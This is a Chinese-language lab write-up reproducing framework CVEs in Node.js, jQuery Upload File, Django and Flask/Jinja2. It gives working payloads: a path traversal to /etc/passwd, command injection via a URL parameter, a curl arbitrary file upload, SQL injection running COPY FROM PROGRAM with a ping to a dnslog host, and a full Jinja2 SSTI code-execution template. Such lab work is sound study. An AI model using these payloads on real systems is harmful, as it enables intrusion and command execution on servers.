框架漏洞-CVE复现-Node.JS+Jquery+Django+Flask

什么是框架?

       就是别人写好包装起来的一套工具,把你原先必须要写的,必须要做的一些复杂的东西都写好了放在那里,你只要调用他的方法,就可以实现一些本来要费好大劲的功能。

         如果网站的功能是采用框架开发的,那么挖掘功能的漏洞就相当于在挖掘框架自身的漏洞。如果框架产生漏洞也会对使用框架的网站产生影响。

常见语言开发框架:

PHP:Thinkphp Laravel YII CodeIgniter CakePHP Zend等

JAVA:Spring MyBatis Hibernate Struts2 Springboot等

Python:Django Flask Bottle Turbobars Tornado Web2py等

Javascript:Vue.js Node.js Bootstrap JQuery Angular等

 

框架:javascript---Node.js

Node.js是一个基于Chrome V8引擎的JavaScript运行环境,用于方便的搭建响应速度快、易于拓展的网络应用。

 

漏洞复现:Node.js 目录穿越漏洞(CVE-2017-14849

描述:Node.js 8.6.0之前的8.5.0版本中存在安全漏洞。远程攻击者可利用该漏洞访问敏感文件。

使用vulfocus靶场启动环境复现

启动环境

框架漏洞-CVE复现-Node.JS+Jquery+Django+Flask_第1张图片

burp抓取数据包

框架漏洞-CVE复现-Node.JS+Jquery+Django+Flask_第2张图片

添加请求路径:/static/../../../a/../../../../etc/passwd   成功获取敏感信息

框架漏洞-CVE复现-Node.JS+Jquery+Django+Flask_第3张图片

漏洞复现:CVE-2021-21315 NodeJs命令注入漏洞

描述:Node.js-systeminformation是用于获取各种信息的Node.js模块,在存在命令注入漏洞的版本中,攻击者可以通过未过滤的参数注入payload执行系统命令。

影响版本:Systeminformation < 5.3.1

漏洞环境:https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC.git

解压poc,进入poc目录。执行:node index.js  启动环境

如果提示:

Command 'node' not found, but can be installed with:

apt install nodejs

根据提示执行命令:apt install nodejs  安装nodejs即可

框架漏洞-CVE复现-Node.JS+Jquery+Django+Flask_第4张图片

安装nodejs完成,再次执行node index.js

环境成功启动,访问   本机地址:8000  进入

访问路径:/api/getServices?name[]=$(echo -e 'xiaoheizi' > test.txt)

框架漏洞-CVE复现-Node.JS+Jquery+Django+Flask_第5张图片

目录下成功生成一个内容为 'xiaoheizi' 的 test.txt文件

框架漏洞-CVE复现-Node.JS+Jquery+Django+Flask_第6张图片

框架:javascript---jQuery

描述: jQuery是一个快速、简洁的JavaScript框架,是继Prototype之后又一个优秀的JavaScript代码库(框架)于2006年1月由John Resig发布。

漏洞复现:jquery 文件上传 (CVE-2018-9207

漏洞版本:jQuery Upload File <= 4.0.2 中的任意文件上传

使用vulfocus靶场启动环境

框架漏洞-CVE复现-Node.JS+Jquery+Django+Flask_第7张图片

根据环境提示得知上传根目录/jquery-upload-file 。实战中可能需要抓包分析来获取目录信息

框架漏洞-CVE复现-Node.JS+Jquery+Django+Flask_第8张图片

来到如下图的路径下,看到只有一个Parent Directory

框架漏洞-CVE复现-Node.JS+Jquery+Django+Flask_第9张图片

在桌面创建一个php.php文件,内容为:

打开桌面的cmd命令行

框架漏洞-CVE复现-Node.JS+Jquery+Django+Flask_第10张图片

执行命令:curl -F "myfile=@上传的文件名" "http://目标IP:端口/jquery-upload-file/php/upload.php"

再次来到/jquery-upload-file/php/uploads路径,看到成功上传php.php文件

框架漏洞-CVE复现-Node.JS+Jquery+Django+Flask_第11张图片

访问php.php文件,成功执行命令

框架漏洞-CVE复现-Node.JS+Jquery+Django+Flask_第12张图片

框架:python---Django 

描述:Django是一款广为流行的开源web框架,由Python编写,许多网站和app都基于Django开发。Django采用了MTV的框架模式,即模型M,视图V和模版T,使用Django,程序员可以方便、快捷地创建高品质、易维护、数据库驱动的应用程序。而且Django还包含许多功能强大的第三方插件,使得Django具有较强的可扩展性。

漏洞复现:Django SQL注入 (CVE-2022-28346)

使用vulfocus靶场,启动环境

1.进入后台

访问/admin进入后台,由于是靶场所以不需要输入密码

框架漏洞-CVE复现-Node.JS+Jquery+Django+Flask_第13张图片

2.判断漏洞是否存在

访问:/admin/vuln/collection/?detail__a%27b=123  报错说明漏洞存在

框架漏洞-CVE复现-Node.JS+Jquery+Django+Flask_第14张图片

3.创建cmd_exec

访问:/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcreate%20table%20cmd_exec(cmd_output%20text)--%20  报错为:no results to fetch 说明创建成功

框架漏洞-CVE复现-Node.JS+Jquery+Django+Flask_第15张图片

4.使用dnslog平台检测是否可以执行命令,dnslog平台:dnslog.cn

获取dns解析地址

框架漏洞-CVE复现-Node.JS+Jquery+Django+Flask_第16张图片

5.调用cmd_exec执行命令:

访问:/admin/vuln/collection/?detail__title%27)%3d%271%27%20or%201%3d1%20%3bcopy%20cmd_exec%20FROM%20PROGRAM%20%27ping c6fbxo.dnslog.cn%27--%20  执行命令

dnslog平台成功检测到解析记录,命令执行成功

框架漏洞-CVE复现-Node.JS+Jquery+Django+Flask_第17张图片

 

框架:python---Flask

描述:Flask是一个使用Python编写的轻量级Web应用框架。其WSGI工具箱采用Werkzeug ,模板引擎则使用Jinja2 

漏洞复现:Jinja2 SSTI模板注入

使用vulhub靶场,启动环境

先进入容器看一下web服务的代码,得出参数值为name,且可控

框架漏洞-CVE复现-Node.JS+Jquery+Django+Flask_第18张图片

判断是否存在ssti漏洞,输入:?name={{1*9}},被执行则漏洞存在

框架漏洞-CVE复现-Node.JS+Jquery+Django+Flask_第19张图片

用jinja的语法写一个执行命令的代码:

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

执行命令用法:修改代码中popen("要执行的命令"),

将代码进行url编码:

框架漏洞-CVE复现-Node.JS+Jquery+Django+Flask_第20张图片

访问:http://目标ip:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D

执行命令”id“,访问url,命令成功执行:

框架漏洞-CVE复现-Node.JS+Jquery+Django+Flask_第21张图片

修改url中要执行的命令为whoami,访问成功执行

框架漏洞-CVE复现-Node.JS+Jquery+Django+Flask_第22张图片

你可能感兴趣的:(服务攻防,网络安全,web安全,node.js,jquery,django,flask)